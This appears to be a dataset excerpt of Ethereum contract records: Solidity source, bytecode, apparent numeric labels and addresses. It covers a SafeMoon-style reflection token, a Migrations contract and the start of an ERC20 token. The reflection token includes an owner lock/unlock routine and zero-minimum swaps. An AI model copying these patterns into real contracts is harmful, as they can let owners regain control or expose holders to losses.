swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x60806040526004361061021e5760003560e01c80635342acb411610123578063a457c2d7116100ab578063d543dbeb1161006f578063d543dbeb14610793578063dd467064146107bd578063dd62ed3e146107e7578063ea2f0b3714610822578063f2fde38b1461085557610225565b8063a457c2d7146106cb578063a69df4b514610704578063a9059cbb14610719578063b6c5232414610752578063c49b9a801461076757610225565b80637d1db4a5116100f25780637d1db4a51461062f57806388f82020146106445780638da5cb5b146106775780638ee88c531461068c57806395d89b41146106b657610225565b80635342acb41461059f5780636bc87c3a146105d257806370a08231146105e7578063715018a61461061a57610225565b80633685d419116101a6578063437823ec11610175578063437823ec146104dd5780634549b0391461051057806349bd5a5e146105425780634a74bb021461055757806352390c021461056c57610225565b80633685d4191461043257806339509351146104655780633b124fe71461049e5780633bd5d173146104b357610225565b80631694505e116101ed5780631694505e1461035457806318160ddd1461038557806323b872dd1461039a5780632d838119146103dd578063313ce5671461040757610225565b8063061c82d01461022a57806306fdde0314610256578063095ea7b3146102e057806313114a9d1461032d57610225565b3661022557005b600080fd5b34801561023657600080fd5b506102546004803603602081101561024d57600080fd5b5035610888565b005b34801561026257600080fd5b5061026b6108e5565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a557818101518382015260200161028d565b50505050905090810190601f1680156102d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ec57600080fd5b506103196004803603604081101561030357600080fd5b506001600160a01b03813516906020013561097b565b604080519115158252519081900360200190f35b34801561033957600080fd5b50610342610999565b60408051918252519081900360200190f35b34801561036057600080fd5b5061036961099f565b604080516001600160a01b039092168252519081900360200190f35b34801561039157600080fd5b506103426109c3565b3480156103a657600080fd5b50610319600480360360608110156103bd57600080fd5b506001600160a01b038135811691602081013590911690604001356109c9565b3480156103e957600080fd5b506103426004803603602081101561040057600080fd5b5035610a50565b34801561041357600080fd5b5061041c610ab2565b6040805160ff9092168252519081900360200190f35b34801561043e57600080fd5b506102546004803603602081101561045557600080fd5b50356001600160a01b0316610abb565b34801561047157600080fd5b506103196004803603604081101561048857600080fd5b506001600160a01b038135169060200135610c7c565b3480156104aa57600080fd5b50610342610cca565b3480156104bf57600080fd5b50610254600480360360208110156104d657600080fd5b5035610cd0565b3480156104e957600080fd5b506102546004803603602081101561050057600080fd5b50356001600160a01b0316610daa565b34801561051c57600080fd5b506103426004803603604081101561053357600080fd5b50803590602001351515610e26565b34801561054e57600080fd5b50610369610eb8565b34801561056357600080fd5b50610319610edc565b34801561057857600080fd5b506102546004803603602081101561058f57600080fd5b50356001600160a01b0316610eea565b3480156105ab57600080fd5b50610319600480360360208110156105c257600080fd5b50356001600160a01b0316611070565b3480156105de57600080fd5b5061034261108e565b3480156105f357600080fd5b506103426004803603602081101561060a57600080fd5b50356001600160a01b0316611094565b34801561062657600080fd5b506102546110f6565b34801561063b57600080fd5b50610342611186565b34801561065057600080fd5b506103196004803603602081101561066757600080fd5b50356001600160a01b031661118c565b34801561068357600080fd5b506103696111aa565b34801561069857600080fd5b50610254600480360360208110156106af57600080fd5b50356111b9565b3480156106c257600080fd5b5061026b611216565b3480156106d757600080fd5b50610319600480360360408110156106ee57600080fd5b506001600160a01b038135169060200135611277565b34801561071057600080fd5b506102546112df565b34801561072557600080fd5b506103196004803603604081101561073c57600080fd5b506001600160a01b0381351690602001356113cd565b34801561075e57600080fd5b506103426113e1565b34801561077357600080fd5b506102546004803603602081101561078a57600080fd5b503515156113e7565b34801561079f57600080fd5b50610254600480360360208110156107b657600080fd5b503561148e565b3480156107c957600080fd5b50610254600480360360208110156107e057600080fd5b503561150c565b3480156107f357600080fd5b506103426004803603604081101561080a57600080fd5b506001600160a01b03813581169160200135166115aa565b34801561082e57600080fd5b506102546004803603602081101561084557600080fd5b50356001600160a01b03166115d5565b34801561086157600080fd5b506102546004803603602081101561087857600080fd5b50356001600160a01b031661164e565b610890611734565b6000546001600160a01b039081169116146108e0576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b600f55565b600c8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109715780601f1061094657610100808354040283529160200191610971565b820191906000526020600020905b81548152906001019060200180831161095457829003601f168201915b5050505050905090565b600061098f610988611734565b8484611738565b5060015b92915050565b600b5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60095490565b60006109d6848484611824565b610a46846109e2611734565b610a41856040518060600160405280602881526020016128b1602891396001600160a01b038a16600090815260056020526040812090610a20611734565b6001600160a01b031681526020810191909152604001600020549190611a6a565b611738565b5060019392505050565b6000600a54821115610a935760405162461bcd60e51b815260040180806020018281038252602a8152602001806127f6602a913960400191505060405180910390fd5b6000610a9d611b01565b9050610aa98382611b24565b9150505b919050565b600e5460ff1690565b610ac3611734565b6000546001600160a01b03908116911614610b13576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16610b80576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b600854811015610c7857816001600160a01b031660088281548110610ba457fe5b6000918252602090912001546001600160a01b03161415610c7057600880546000198101908110610bd157fe5b600091825260209091200154600880546001600160a01b039092169183908110610bf757fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610c4957fe5b600082815260209020810160001990810180546001600160a01b0319169055019055610c78565b600101610b83565b5050565b600061098f610c89611734565b84610a418560056000610c9a611734565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611b6d565b600f5481565b6000610cda611734565b6001600160a01b03811660009081526007602052604090205490915060ff1615610d355760405162461bcd60e51b815260040180806020018281038252602c81526020018061298b602c913960400191505060405180910390fd5b6000610d4083611bc7565b505050506001600160a01b038416600090815260036020526040902054919250610d6c91905082611c16565b6001600160a01b038316600090815260036020526040902055600a54610d929082611c16565b600a55600b54610da29084611b6d565b600b55505050565b610db2611734565b6000546001600160a01b03908116911614610e02576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600954831115610e7f576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610e9e576000610e8f84611bc7565b50939550610993945050505050565b6000610ea984611bc7565b50929550610993945050505050565b7f00000000000000000000000096977cde397ee7acf7876d6be0f13bbf2bc6bbf581565b601354610100900460ff1681565b610ef2611734565b6000546001600160a01b03908116911614610f42576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff1615610fb0576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b0381166000908152600360205260409020541561100a576001600160a01b038116600090815260036020526040902054610ff090610a50565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b60115481565b6001600160a01b03811660009081526007602052604081205460ff16156110d457506001600160a01b038116600090815260046020526040902054610aad565b6001600160a01b03821660009081526003602052604090205461099390610a50565b6110fe611734565b6000546001600160a01b0390811691161461114e576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116906000805160206128f9833981519152908390a3600080546001600160a01b0319169055565b60145481565b6001600160a01b031660009081526007602052604090205460ff1690565b6000546001600160a01b031690565b6111c1611734565b6000546001600160a01b03908116911614611211576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b601155565b600d8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109715780601f1061094657610100808354040283529160200191610971565b600061098f611284611734565b84610a41856040518060600160405280602581526020016129da60259139600560006112ae611734565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611a6a565b6001546001600160a01b031633146113285760405162461bcd60e51b81526004018080602001828103825260238152602001806129b76023913960400191505060405180910390fd5b600254421161137e576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b0393841693909116916000805160206128f983398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600061098f6113da611734565b8484611824565b60025490565b6113ef611734565b6000546001600160a01b0390811691161461143f576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b60138054821515610100810261ff00199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b611496611734565b6000546001600160a01b039081169116146114e6576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b611506606461150083600954611c5890919063ffffffff16565b90611b24565b60145550565b611514611734565b6000546001600160a01b03908116911614611564576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b0384161790915516815542820160025560405181906000805160206128f9833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6115dd611734565b6000546001600160a01b0390811691161461162d576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b611656611734565b6000546001600160a01b039081169116146116a6576040805162461bcd60e51b815260206004820181905260248201526000805160206128d9833981519152604482015290519081900360640190fd5b6001600160a01b0381166116eb5760405162461bcd60e51b81526004018080602001828103825260268152602001806128206026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216916000805160206128f983398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b03831661177d5760405162461bcd60e51b81526004018080602001828103825260248152602001806129676024913960400191505060405180910390fd5b6001600160a01b0382166117c25760405162461bcd60e51b81526004018080602001828103825260228152602001806128466022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166118695760405162461bcd60e51b81526004018080602001828103825260258152602001806129426025913960400191505060405180910390fd5b6001600160a01b0382166118ae5760405162461bcd60e51b81526004018080602001828103825260238152602001806127d36023913960400191505060405180910390fd5b600081116118ed5760405162461bcd60e51b81526004018080602001828103825260298152602001806129196029913960400191505060405180910390fd5b6118f56111aa565b6001600160a01b0316836001600160a01b03161415801561192f57506119196111aa565b6001600160a01b0316826001600160a01b031614155b15611975576014548111156119755760405162461bcd60e51b81526004018080602001828103825260288152602001806128686028913960400191505060405180910390fd5b600061198030611094565b9050601454811061199057506014545b601554811080159081906119a7575060135460ff16155b80156119e557507f00000000000000000000000096977cde397ee7acf7876d6be0f13bbf2bc6bbf56001600160a01b0316856001600160a01b031614155b80156119f85750601354610100900460ff165b15611a0b576015549150611a0b82611cb1565b6001600160a01b03851660009081526006602052604090205460019060ff1680611a4d57506001600160a01b03851660009081526006602052604090205460ff165b15611a56575060005b611a6286868684611d4e565b505050505050565b60008184841115611af95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611abe578181015183820152602001611aa6565b50505050905090810190601f168015611aeb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611b0e611ec2565b9092509050611b1d8282611b24565b9250505090565b6000611b6683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612025565b9392505050565b600082820183811015611b66576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806000806000806000806000611bde8a61208a565b9250925092506000806000611bfc8d8686611bf7611b01565b6120cc565b919f909e50909c50959a5093985091965092945050505050565b6000611b6683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6a565b600082611c6757506000610993565b82820282848281611c7457fe5b0414611b665760405162461bcd60e51b81526004018080602001828103825260218152602001806128906021913960400191505060405180910390fd5b6013805460ff191660011790556000611ccb826002611b24565b90506000611cd98383611c16565b905047611ce58361211c565b6000611cf14783611c16565b9050611cfd838261232b565b604080518581526020810183905280820185905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150506013805460ff19169055505050565b80611d5b57611d5b612429565b6001600160a01b03841660009081526007602052604090205460ff168015611d9c57506001600160a01b03831660009081526007602052604090205460ff16155b15611db157611dac84848461245b565b611eaf565b6001600160a01b03841660009081526007602052604090205460ff16158015611df257506001600160a01b03831660009081526007602052604090205460ff165b15611e0257611dac84848461257f565b6001600160a01b03841660009081526007602052604090205460ff16158015611e4457506001600160a01b03831660009081526007602052604090205460ff16155b15611e5457611dac848484612628565b6001600160a01b03841660009081526007602052604090205460ff168015611e9457506001600160a01b03831660009081526007602052604090205460ff165b15611ea457611dac84848461266c565b611eaf848484612628565b80611ebc57611ebc6126df565b50505050565b600a546009546000918291825b600854811015611ff357826003600060088481548110611eeb57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f505750816004600060088481548110611f2957fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f6757600a5460095494509450505050612021565b611fa76003600060088481548110611f7b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611c16565b9250611fe96004600060088481548110611fbd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611c16565b9150600101611ecf565b50600954600a5461200391611b24565b82101561201b57600a54600954935093505050612021565b90925090505b9091565b600081836120745760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611abe578181015183820152602001611aa6565b50600083858161208057fe5b0495945050505050565b600080600080612099856126ed565b905060006120a686612709565b905060006120be826120b88986611c16565b90611c16565b979296509094509092505050565b60008080806120db8886611c58565b905060006120e98887611c58565b905060006120f78888611c58565b90506000612109826120b88686611c16565b939b939a50919850919650505050505050565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061214a57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121c357600080fd5b505afa1580156121d7573d6000803e3d6000fd5b505050506040513d60208110156121ed57600080fd5b50518151829060019081106121fe57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050612249307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611738565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156122ee5781810151838201526020016122d6565b505050509050019650505050505050600060405180830381600087803b15801561231757600080fd5b505af1158015611a62573d6000803e3d6000fd5b612356307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611738565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806123936111aa565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b1580156123fe57600080fd5b505af1158015612412573d6000803e3d6000fd5b50505050506040513d6060811015611ebc57600080fd5b600f541580156124395750601154155b1561244357612459565b600f805460105560118054601255600091829055555b565b60008060008060008061246d87611bc7565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915061249f9088611c16565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546124ce9087611c16565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546124fd9086611b6d565b6001600160a01b03891660009081526003602052604090205561251f81612725565b61252984836127ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061259187611bc7565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506125c39087611c16565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546125f99084611b6d565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546124fd9086611b6d565b60008060008060008061263a87611bc7565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506124ce9087611c16565b60008060008060008061267e87611bc7565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506126b09088611c16565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546125c39087611c16565b601054600f55601254601155565b60006109936064611500600f5485611c5890919063ffffffff16565b6000610993606461150060115485611c5890919063ffffffff16565b600061272f611b01565b9050600061273d8383611c58565b3060009081526003602052604090205490915061275a9082611b6d565b3060009081526003602090815260408083209390935560079052205460ff16156127a957306000908152600460205260409020546127989084611b6d565b306000908152600460205260409020555b505050565b600a546127bb9083611c16565b600a55600b546127cb9082611b6d565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4fe5e3db642a23431615050505e37c5311dcaea5c7c86c099b904e6a2a7b45064736f6c634300060c0033
[ 13, 5 ]
0xF2E03C7DaA8874E667e40Ec37783D436eCb671b4
pragma solidity 0.4.24; // File: contracts\Migrations.sol contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }
0x6080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630900f0108114610066578063445df0ac146100965780638da5cb5b146100bd578063fdacd576146100fb575b600080fd5b34801561007257600080fd5b5061009473ffffffffffffffffffffffffffffffffffffffff60043516610113565b005b3480156100a257600080fd5b506100ab6101c5565b60408051918252519081900360200190f35b3480156100c957600080fd5b506100d26101cb565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561010757600080fd5b506100946004356101e7565b6000805473ffffffffffffffffffffffffffffffffffffffff163314156101c1578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156101a857600080fd5b505af11580156101bc573d6000803e3d6000fd5b505050505b5050565b60015481565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1633141561020d5760018190555b505600a165627a7a72305820bb106ea38ff70d76d810bbc51e6b3dfbc6dc5948c0ad3c2247129d7c66aeaff80029
[ 38 ]
0xf2e10b224680189042863f80ce8b7ab33f2747e2
// SPDX-License-Identifier: MIT pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; // address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // function transferOwnership(address _newOwner) public onlyOwner { // newOwner = _newOwner; // } // function acceptOwnership() public { // require(msg.sender == newOwner); // emit OwnershipTransferred(owner, newOwner); // owner = newOwner; // newOwner = address(0); // } } contract DATAP is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; uint public rate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "DATAP"; name = "DataX Protocol"; decimals = 18; totalSupply = 1000000000 * 10 ** uint256(decimals); rate = 203; balances[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply); } function changeRate(uint newRate) public onlyOwner { require(newRate > 0); rate = newRate; } function totalSupply() public view returns (uint) { return totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } modifier validTo(address to) { require(to != address(0)); require(to != address(this)); _; } function transferInternal(address from, address to, uint tokens) internal { balances[from] = safeSub(balances[from], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); } function transfer(address to, uint tokens) public 